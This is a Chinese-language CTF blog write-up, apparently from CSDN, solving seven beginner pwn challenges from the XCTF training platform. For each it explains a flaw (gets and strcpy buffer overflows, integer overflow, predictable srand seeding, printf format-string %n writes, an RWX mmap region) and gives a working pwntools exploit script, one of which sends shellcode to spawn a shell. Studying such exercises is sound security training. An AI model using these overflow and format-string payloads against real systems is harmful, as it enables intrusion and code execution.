攻防世界-pwn 新手练习区

when_did_your_born(通过gets输入进行覆盖目的数据)

在这里插入图片描述
要求v5=1926即可得到flag,而根据程序,v5只要等于1926就进入不了这个分支,也就是说,我们输入的v5不能等于1926。
这里可以利用gets函数的输入v4,来覆盖v5。
v4:ebp-0x20
v5:ebp-0x18
v4和v5相差0x08,即在输入v4时,先输入0x08个垃圾数据,在输入1926即可实现覆盖。
payload如下

from pwn import *
r = remote("111.198.29.45",46204)
context.log_level = 'debug'

payload = 'b'*8 + p64(1926)
r.sendlineafter("What's Your Birth?","123")
r.sendlineafter("What's Your Name?",payload)

r.interactive()

这里差的8,为8个字节,一字节为8位,即64位系统的话,正好是一个内存单元,aaaa aaaa这8个a占一个内存单元(在栈中),0x00 00 00 00 00 00 07 86占一个内存单元。
在这里插入图片描述
在这里插入图片描述
可以看出在64位的栈中,地址都是每次加8,一个内存单元占8个字节。
即v4和v5只相差一个内存单元。

hello_pwn(read写入地址的利用)

在这里插入图片描述
这里只要满足60106c处的内容=1853186401就能进入400686函数,得到flag。
这里可以通过read函数写入,那么问题来了,写入的地址为601068,要想写到60106c处,需要看这两个地址。
在这里插入图片描述
下图可以看出,read写入的地址为1068,要想写入=后边的内容,写到106c处即可。
在这里插入图片描述
脚本如下:

from pwn import *
r = remote("111.198.29.45","43321")

payload = 'a'*4 +p64(1853186401)
r.sendline(payload)
r.interactive()

payload一共占了12个字节,read要求输入的字节数为16个,实现溢出并符合read的要求。

guess_num(伪随机数srand(seed[0])的利用)

在这里插入图片描述
在这里插入图片描述
由程序可以看出,在gets处有溢出漏洞,程序中有得到flag的函数,可以直接执行到那里,要想执行到C3E函数这里,必须满足要求输入的v5和随机产生的v7相等。

C语言的随机并不是真正意义上的随机,有时候也叫伪随机数,使用 rand() 生成随机数之前需要用随机发生器的初始化函数 srand(unsigned seed)(也位于 stdlib.h 中) 进行伪随机数序列初始化,seed 又叫随机种子,通俗讲就是,如果每次提供的 seed 是一样的话,最后每一轮生成的几个随机值也都是一样的,因此叫伪随机数,所以需要每次提供不同的 seed 达到完全的随机,我们通常用时间函数 time(NULL) 作为 seed ,因为时间值每秒都不同。

思路:可以通过控制seed的值来控制随机数的产生。

在这里插入图片描述
gets的输入与seed相差0x20,这里设置seed为1,则可这样部署:
payload= ‘a’*0x20+p64(1)

还要用到libc共享库,用来产生随机数。

from pwn import *
from ctypes import *
 
p = remote("111.198.29.45",42714)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload = 'A'*0x20 + p64(1)
 
p.sendlineafter('Your name:', payload)
libc.srand(1)
for i in range(10):
     num = str(libc.rand()%6 + 1)
     print num + '\n'
     p.sendlineafter('number:',num)
p.interactive()

int_overflow

在这里插入图片描述
在这里插入图片描述
从上述代码中可看出,在strcpy函数这里有溢出漏洞,因为在login函数中,要求输入的read函数的大小为0x199,在复制时,dest为0x14,但是这里要求password的长度大于等于3,小于等于8,才能触发这个漏洞,这里存在一个整数溢出,可以利用整数溢出实现符合输入的密码范围,可以看到v3是一个无符号整型,int8为一个字节,即8位,数值范围位0-255,当超过数值范围后,就会产生整数溢出,256时就会变为0,因为产生溢出时,会把最高位的1移掉。相当于一个循环,对256取余。

则当输入的密码长度为259-264时,也可满足大于等于3,小于等于8的要求,复制进入dest,产生溢出,即可构造想要填充的数据。

在这里插入图片描述
在这里插入图片描述
返回地址为0x08048694

脚本为:

from pwn import *
r = remote("111.198.29.45","59084")

cat_flag = 0x08048694

r.sendlineafter("Your choice:","1")
r.sendlineafter("Please input your username:","aa")
payload = 'a'*0x14 + 'bbbb' + p32(cat_flag) + 'a'*231

r.sendlineafter("Please input your passwd:",payload)
r.interactive()

231为259-0x14-4-4剩下的字符串数。

get_shell

在这里插入图片描述
在这里插入图片描述
远程连接给的IP即可获得flag。

CGfsb

根据题目提示,这题是考察printf的,运行程序时,可进行测试:
在这里插入图片描述
可以看出第二个printf函数那里存在格式化字符串漏洞。
在这里插入图片描述
在这里插入图片描述
格式化字符串的详解

脚本:

from pwn import *
r = remote("111.198.29.45","53831")
context.log_level = 'debug'
pwne_addr = 0x0804A068
r.sendlineafter("please tell me your name:","han")
payload = p32(pwne_addr)+'aaaa'+'%10$n'
r.sendlineafter("leave your message please:",payload)
r.interactive()

string

在这里插入图片描述
在这里插入图片描述
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);这里的7表示可执行,33和-1表示是匿名映射,这句代码的意思是,指针v1指向一个可读可写可执行的区域。因为数字7是特定用户的读,写 ,执行 权限:
[读取–用数字 4 表示]
[写–用数字 2 表示]
[执行–用数字 1 表示]

即可以利用它写入shellcode并执行。
在这里插入图片描述
要想进入这个函数,必须满足条件:*a1=a1[1]
在这里插入图片描述
这里有格式化字符串漏洞,可以利用该漏洞,实现对*a1或者a1[1]的赋值。
在这里插入图片描述
回溯可知,*a1=*v3=68 , a1[1]=v3[1]=85。
由打印的secret值,即为*a1和a1[1]的地址。
输入的address在printf的格式化字符串里的第7个参数,可以用脚本调试知道。即可以在输入address处,输入*a1或者a1[1]的地址,在后边利用格式化漏洞写入相应的数字。

脚本如下

from pwn import *

p= remote("111.198.29.45",50111)
context(arch='amd64',os='linux')
p.recvuntil("secret[0] is ")
addr0=p.recvuntil('\n')
print "addr0: 0x"+addr0
p.recvuntil("secret[1] is ")
addr1=p.recvuntil('\n')
print "addr1: 0x"+addr1

p.sendlineafter("hat should your character's name be:\n","aaa")
p.sendlineafter("So, where you will go?east or up?:\n","east")
p.sendlineafter("go into there(1), or leave(0)?:\n","1")
p.sendlineafter("'Give me an address'\n",str(int(addr1,16)))
p.sendlineafter("And, you wish is:\n","%68c%7$n")
p.sendlineafter("USE YOU SPELL\n",asm(shellcraft.sh()))
p.interactive()

参考1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值